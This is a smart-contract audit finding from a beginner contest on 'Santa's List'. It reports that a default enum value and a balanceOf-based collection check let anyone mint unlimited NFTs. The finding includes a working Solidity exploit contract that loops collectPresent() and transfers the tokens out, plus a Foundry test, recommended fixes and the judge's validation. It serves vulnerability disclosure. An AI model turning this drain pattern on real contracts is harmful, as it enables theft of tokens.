First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Anyone can mint unlimited amount of NFT tokens

forkforkdog

Summary

Several vulnerabilities allow an attacker to mint an unlimited amount of tokens.

Vulnerability Details

A combination of vulnerabilities contributes to this issue:

  • SantasList enum struct default value is Status.NICE:

enum Status {
@> NICE,
EXTRA_NICE,
NAUGHTY,
NOT_CHECKED_TWICE
}

  • No recording of present receivers, balanceOf(msg.sender) > 0 is used instead:

if (balanceOf(msg.sender) > 0) {
revert SantasList__AlreadyCollected();
}

Impact

An attacker can create a ERC721 receiver, call SantasList.collectPresent(), and immediately transfer received tokens to another address:

contract THE_CHRISTMAS_THIEF {
ISantasList santa;
​
address grinch;
address grinchBag;
​
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
​
constructor(
address _santaAddress,
address _grinch,
address _grinchBag
) {
santa = ISantasList(_santaAddress);
grinchBag = _grinchBag;
grinch = _grinch;
}
​
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external pure returns (bytes4) {
return _ERC721_RECEIVED;
}
​
function stealChristmas(uint256 asMuchAsIWant) public {
for (uint256 i; i < asMuchAsIWant; i++) {
santa.collectPresent();
santa.transferFrom(address(this), grinchBag, i);
}
}
​

The test in Foundry will look like this:

function test_stealChristmas() public {
vm.startPrank(grinch);
christmasThief.stealChristmas(69);
assertEq(santasList.balanceOf(grinchBag), 69);
vm.stopPrank();
}

Full test on GitHub repo fork

Tools Used

Foundry

Recommendations

To comprehensively address this issue, change the following lines:

  1. Set up a default value as non-eligible for present receiving:

enum Status {
- NICE,
+ NAUGHTY
EXTRA_NICE,
- NAUGHTY,
+ NICE,
NOT_CHECKED_TWICE
}

  1. Introduce a list of persons that already received the present:

+ mapping(address => bool) public presentsReceived;
​
function collectPresent() external {
if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
revert SantasList__NotChristmasYet();
}
- if (balanceOf(msg.sender) > 0) {
+ if(presentsReceived[msg.sender])
revert SantasList__AlreadyCollected();
}
if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) {
+ presentsReceived[msg.sender] = true;
_mintAndIncrement();
return;
} else if (
s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE
&& s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE
) {
+ presentsReceived[msg.sender] = true;
_mintAndIncrement();
i_santaToken.mint(msg.sender);
return;
}
revert SantasList__NotNice();
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Already Collected Check

Relying on balanceOf > 0 in collectPresent() allows the msg.sender to send their present to another address and then collect again.

default status is nice

In Solidity the first element of an enum is the default value. In Santa's List, the means each person is mapped by default to 'NICE'.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.